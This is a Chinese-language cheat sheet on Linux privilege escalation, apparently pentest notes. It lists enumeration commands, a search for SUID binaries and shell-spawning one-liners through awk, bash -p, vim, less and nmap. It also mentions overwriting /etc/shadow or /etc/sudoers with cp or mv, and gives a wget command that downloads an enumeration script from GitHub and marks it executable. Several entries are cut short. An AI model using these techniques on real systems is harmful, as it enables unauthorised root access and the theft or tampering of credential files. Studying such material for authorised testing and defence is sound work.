Linux 提权
信息搜集#
基本信息#
1 | uname -a 打印所有可用的系统信息 |
用户和群组权限#
1 | cat /etc/passwd 列出系统上的所有用户 |
环境信息#
1 | env 显示环境变量 |
SUID提权#
以下可执行文件可以进行SUID提权
1 | nmap |
搜索SUID可执行文件
1 | find / -perm -u=s -type f 2>/dev/null |
nmap#
查看版本,需要版本范围在(2.02-5.21)之间
1 | nmap -V 启动交互模式 |
Vim#
1 | vim |
find#
1 | touch pentestlab |
Bash#
1 | bash -p |
Less#
1 | less /etc/passwd |
cp#
使用cp覆盖 /etc/shadow
mv#
使用mv 覆盖 /etc/shadow 或者/etc/sudoers
awk#
1 | awk 'BEGIN {system("/bin/bash")}' |
man#
1 | man passwd |
辅助提权工具#
linux-smart-enumeration
https://github.com/diego-treitos/linux-smart-enumeration
1
wget "https://github.com/diego-treitos/linux-smart-enumeration/raw/master/lse.sh" -O lse.sh;chmod 700 lse.sh
LinEnum
https://github.com/rebootuser/LinEnum
1
./LinEnum.sh -s -k keyword -r report -e /tmp/ -t
linuxprivchecker
linux-exploit-suggester
linux-soft-exploit-suggester:
beroot
SUDO_KILLER